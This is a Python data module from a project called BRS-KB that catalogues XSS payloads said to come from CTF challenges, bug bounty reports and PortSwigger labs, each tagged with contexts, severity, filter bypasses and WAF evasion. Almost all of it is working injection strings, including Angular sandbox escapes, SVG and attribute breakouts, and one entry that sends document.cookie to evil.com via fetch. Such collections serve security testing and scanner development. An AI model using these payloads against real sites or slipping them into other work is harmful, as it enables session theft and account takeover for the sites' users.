# Project: BRS-KB
# Company: EasyProTech LLC (www.easypro.tech)
# Dev: Brabus
# Date: 2025-12-26 UTC
# Status: Created
# Telegram: https://t.me/EasyProTech

"""
CTF and Bug Bounty XSS Payloads

Payloads from real CTF challenges, bug bounty reports, and disclosed vulnerabilities.
"""

from ..models import PayloadEntry


BRS_KB_CTF_BUGBOUNTY_PAYLOADS = {
    # ============================================================
    # GOOGLE BUG BOUNTY STYLE
    # ============================================================
    "google-xss-1": PayloadEntry(
        payload='<form><button formaction="javascript:alert(1)">X</button>',
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Form button formaction bypass",
        tags=["bugbounty", "google", "form"],
        bypasses=["csp_strict"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="high",
    ),
    "google-xss-2": PayloadEntry(
        payload="<x onclick=alert(1)><x onfocus=alert(1) autofocus>",
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Custom element with event handlers",
        tags=["bugbounty", "google", "custom_element"],
        bypasses=["tag_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="high",
    ),
    "google-xss-3": PayloadEntry(
        payload='<a href="javascript:alert(1)"><input type="submit" value="XSS">',
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Anchor with input submit",
        tags=["bugbounty", "google", "anchor"],
        bypasses=["href_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="high",
    ),
    # ============================================================
    # FACEBOOK BUG BOUNTY STYLE
    # ============================================================
    "fb-xss-postmessage-1": PayloadEntry(
        payload="window.addEventListener('message',e=>eval(e.data))",
        contexts=["javascript", "postmessage"],
        severity="critical",
        cvss_score=8.5,
        description="PostMessage eval listener",
        tags=["bugbounty", "facebook", "postmessage"],
        bypasses=["origin_checks"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="high",
    ),
    "fb-xss-jsonp-1": PayloadEntry(
        payload="<script src='https://api.example.com/jsonp?callback=alert'></script>",
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="JSONP callback injection",
        tags=["bugbounty", "facebook", "jsonp"],
        bypasses=["csp"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="high",
    ),
    # ============================================================
    # TWITTER/X BUG BOUNTY STYLE
    # ============================================================
    "twitter-xss-unicode-1": PayloadEntry(
        payload="<img src=x onerror=\u0061\u006c\u0065\u0072\u0074(1)>",
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Unicode escape alert",
        tags=["bugbounty", "twitter", "unicode"],
        bypasses=["keyword_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="high",
    ),
    "twitter-xss-t.co-1": PayloadEntry(
        payload='<a href="javascript:alert(1)//https://t.co/xyz">click</a>',
        contexts=["html_content", "url_injection"],
        severity="high",
        cvss_score=7.5,
        description="JavaScript URL with comment bypass",
        tags=["bugbounty", "twitter", "url"],
        bypasses=["url_whitelist"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="high",
    ),
    # ============================================================
    # GITHUB BUG BOUNTY STYLE
    # ============================================================
    "github-xss-markdown-1": PayloadEntry(
        payload="[XSS](javascript:alert(1))",
        contexts=["markdown"],
        severity="high",
        cvss_score=7.5,
        description="Markdown javascript link",
        tags=["bugbounty", "github", "markdown"],
        bypasses=["markdown_sanitizer"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="medium",
    ),
    "github-xss-markdown-2": PayloadEntry(
        payload="![XSS](onerror=alert(1)//)",
        contexts=["markdown"],
        severity="high",
        cvss_score=7.5,
        description="Markdown image onerror",
        tags=["bugbounty", "github", "markdown"],
        bypasses=["markdown_sanitizer"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="low",
    ),
    "github-xss-svg-1": PayloadEntry(
        payload="<svg><use href=\"data:image/svg+xml,<svg id=x xmlns='http://www.w3.org/2000/svg'><script>alert(1)</script></svg>#x\">",
        contexts=["html_content", "svg_xss"],
        severity="high",
        cvss_score=7.5,
        description="SVG use with data URL",
        tags=["bugbounty", "github", "svg"],
        bypasses=["sanitizers"],
        waf_evasion=True,
        browser_support=["chrome", "firefox"],
        reliability="medium",
    ),
    # ============================================================
    # CTF PAYLOADS - VARIOUS COMPETITIONS
    # ============================================================
    "ctf-defcon-1": PayloadEntry(
        payload="<iframe src=javascript:alert(1);>",
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Iframe javascript src",
        tags=["ctf", "defcon", "iframe"],
        bypasses=["src_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari"],
        reliability="medium",
    ),
    "ctf-googlectf-1": PayloadEntry(
        payload="<svg><![CDATA[><script>alert(1)</script>]]></svg>",
        contexts=["html_content", "svg_xss"],
        severity="high",
        cvss_score=7.5,
        description="SVG CDATA script injection",
        tags=["ctf", "googlectf", "svg"],
        bypasses=["script_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="high",
    ),
    "ctf-hackerone-1": PayloadEntry(
        payload='<object data="javascript:alert(1)"><param name="x">',
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Object with javascript data",
        tags=["ctf", "hackerone", "object"],
        bypasses=["data_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox"],
        reliability="medium",
    ),
    "ctf-plaidctf-1": PayloadEntry(
        payload='<style>@keyframes x{}</style><div style="animation-name:x" onanimationstart="alert(1)">',
        contexts=["html_content", "css_injection"],
        severity="high",
        cvss_score=7.5,
        description="CSS animation event XSS",
        tags=["ctf", "plaidctf", "css"],
        bypasses=["style_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="high",
    ),
    "ctf-hxp-1": PayloadEntry(
        payload="<style>*{background:url('javascript:alert(1)')}</style>",
        contexts=["html_content", "css_injection"],
        severity="medium",
        cvss_score=6.5,
        description="CSS background URL (legacy)",
        tags=["ctf", "hxp", "css"],
        bypasses=["style_filters"],
        waf_evasion=True,
        browser_support=["ie"],
        reliability="low",
    ),
    "ctf-insomnihack-1": PayloadEntry(
        payload='"><svg/onload=fetch(`//evil.com?c=${document.cookie}`)>',
        contexts=["html_attribute", "html_content"],
        severity="critical",
        cvss_score=8.5,
        description="Cookie exfiltration via fetch",
        tags=["ctf", "insomnihack", "exfiltration"],
        bypasses=["quote_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="high",
    ),
    # ============================================================
    # PORTSWIGGER LAB PAYLOADS
    # ============================================================
    "portswigger-lab-1": PayloadEntry(
        payload='"><img src=1 onerror=alert(1)>',
        contexts=["html_attribute"],
        severity="high",
        cvss_score=7.5,
        description="Attribute breakout classic",
        tags=["lab", "portswigger", "attribute"],
        bypasses=["quote_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="high",
    ),
    "portswigger-lab-2": PayloadEntry(
        payload="'><script>alert(1)</script>",
        contexts=["html_attribute"],
        severity="high",
        cvss_score=7.5,
        description="Single quote breakout",
        tags=["lab", "portswigger", "attribute"],
        bypasses=["quote_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="high",
    ),
    "portswigger-lab-3": PayloadEntry(
        payload="javascript:alert(document.domain)",
        contexts=["url_injection", "href"],
        severity="high",
        cvss_score=7.5,
        description="JavaScript URL domain leak",
        tags=["lab", "portswigger", "url"],
        bypasses=["url_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="high",
    ),
    "portswigger-lab-4": PayloadEntry(
        payload="</script><script>alert(1)</script>",
        contexts=["javascript"],
        severity="high",
        cvss_score=7.5,
        description="Script tag breakout",
        tags=["lab", "portswigger", "script"],
        bypasses=["script_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="high",
    ),
    "portswigger-lab-5": PayloadEntry(
        payload='"-alert(1)-"',
        contexts=["js_string"],
        severity="high",
        cvss_score=7.5,
        description="JS string arithmetic breakout",
        tags=["lab", "portswigger", "string"],
        bypasses=["string_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="high",
    ),
    "portswigger-lab-6": PayloadEntry(
        payload="</script><img src=x onerror=alert(1)>",
        contexts=["javascript"],
        severity="high",
        cvss_score=7.5,
        description="Script to img breakout",
        tags=["lab", "portswigger", "breakout"],
        bypasses=["script_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="high",
    ),
    # ============================================================
    # HACKERONE DISCLOSED REPORTS
    # ============================================================
    "h1-disclosed-1": PayloadEntry(
        payload="{{constructor.constructor('alert(1)')()}}",
        contexts=["template", "angular"],
        severity="critical",
        cvss_score=8.5,
        description="Angular sandbox escape",
        tags=["h1", "disclosed", "angular"],
        bypasses=["angular_sanitizer"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="high",
    ),
    "h1-disclosed-2": PayloadEntry(
        payload="{{$on.constructor('alert(1)')()}}",
        contexts=["template", "angular"],
        severity="critical",
        cvss_score=8.5,
        description="Angular $on escape",
        tags=["h1", "disclosed", "angular"],
        bypasses=["angular_sanitizer"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="high",
    ),
    "h1-disclosed-3": PayloadEntry(
        payload='<input value="" onfocus=alert(1) autofocus="">',
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Input autofocus XSS",
        tags=["h1", "disclosed", "input"],
        bypasses=["event_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="high",
    ),
    "h1-disclosed-4": PayloadEntry(
        payload="<div contenteditable onfocus=alert(1) autofocus>",
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Contenteditable autofocus XSS",
        tags=["h1", "disclosed", "contenteditable"],
        bypasses=["event_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="high",
    ),
    # ============================================================
    # YAHOO/AOL BUG BOUNTY STYLE
    # ============================================================
    "yahoo-xss-1": PayloadEntry(
        payload='<img/src="x"onerror=alert(1)>',
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="No space before attribute",
        tags=["bugbounty", "yahoo", "img"],
        bypasses=["space_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="high",
    ),
    "yahoo-xss-2": PayloadEntry(
        payload="<img src=x:alert(1) onerror=eval(src)>",
        contexts=["html_content"],
        severity="critical",
        cvss_score=8.5,
        description="Eval src attribute",
        tags=["bugbounty", "yahoo", "eval"],
        bypasses=["keyword_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="high",
    ),
    # ============================================================
    # UBER BUG BOUNTY STYLE
    # ============================================================
    "uber-xss-1": PayloadEntry(
        payload="<video src=x onerror=alert(1)>",
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Video onerror XSS",
        tags=["bugbounty", "uber", "video"],
        bypasses=["tag_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="high",
    ),
    "uber-xss-2": PayloadEntry(
        payload='<script/src="data:,alert(1)">',
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Script data URL",
        tags=["bugbounty", "uber", "script"],
        bypasses=["src_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="high",
    ),
    # ============================================================
    # MICROSOFT BUG BOUNTY STYLE
    # ============================================================
    "msft-xss-1": PayloadEntry(
        payload='<svg onload="alert(1)">',
        contexts=["html_content", "svg_xss"],
        severity="high",
        cvss_score=7.5,
        description="SVG onload classic",
        tags=["bugbounty", "microsoft", "svg"],
        bypasses=["tag_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="high",
    ),
    "msft-xss-2": PayloadEntry(
        payload="<body onpopstate=alert(1)>",
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Body onpopstate XSS",
        tags=["bugbounty", "microsoft", "body"],
        bypasses=["event_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="medium",
    ),
    # ============================================================
    # SHOPIFY BUG BOUNTY STYLE
    # ============================================================
    "shopify-xss-liquid-1": PayloadEntry(
        payload="{{ 'alert(1)' | append: '' }}",
        contexts=["template"],
        severity="high",
        cvss_score=7.5,
        description="Liquid template injection",
        tags=["bugbounty", "shopify", "liquid"],
        bypasses=["template_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="low",
    ),
    # ============================================================
    # SLACK BUG BOUNTY STYLE
    # ============================================================
    "slack-xss-1": PayloadEntry(
        payload='<a href="javascript:alert(1)">Click me</a>',
        contexts=["html_content", "url_injection"],
        severity="high",
        cvss_score=7.5,
        description="Anchor javascript href",
        tags=["bugbounty", "slack", "anchor"],
        bypasses=["url_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="high",
    ),
    # ============================================================
    # PAYPAL BUG BOUNTY STYLE
    # ============================================================
    "paypal-xss-1": PayloadEntry(
        payload="<img src=x onerror=alert(document.domain)>",
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Domain disclosure via onerror",
        tags=["bugbounty", "paypal", "domain"],
        bypasses=["onerror_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="high",
    ),
    # ============================================================
    # DROPBOX BUG BOUNTY STYLE
    # ============================================================
    "dropbox-xss-1": PayloadEntry(
        payload='<svg><script href="data:,alert(1)"/>',
        contexts=["html_content", "svg_xss"],
        severity="high",
        cvss_score=7.5,
        description="SVG script href data URL",
        tags=["bugbounty", "dropbox", "svg"],
        bypasses=["script_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari"],
        reliability="medium",
    ),
    # ============================================================
    # DOM-BASED XSS FROM RESEARCH
    # ============================================================
    "dom-research-1": PayloadEntry(
        payload="location.hash.slice(1)",
        contexts=["javascript", "dom_xss"],
        severity="high",
        cvss_score=7.5,
        description="Hash fragment injection source",
        tags=["research", "dom", "source"],
        bypasses=["server_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="high",
    ),
    "dom-research-2": PayloadEntry(
        payload="document.referrer",
        contexts=["javascript", "dom_xss"],
        severity="high",
        cvss_score=7.5,
        description="Referrer injection source",
        tags=["research", "dom", "source"],
        bypasses=["server_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="high",
    ),
    "dom-research-3": PayloadEntry(
        payload="new URL(location).searchParams.get('q')",
        contexts=["javascript", "dom_xss"],
        severity="high",
        cvss_score=7.5,
        description="URL API parameter extraction",
        tags=["research", "dom", "source"],
        bypasses=["server_filters"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="high",
    ),
}

BRS_KB_CTF_BUGBOUNTY_TOTAL_PAYLOADS = len(BRS_KB_CTF_BUGBOUNTY_PAYLOADS)
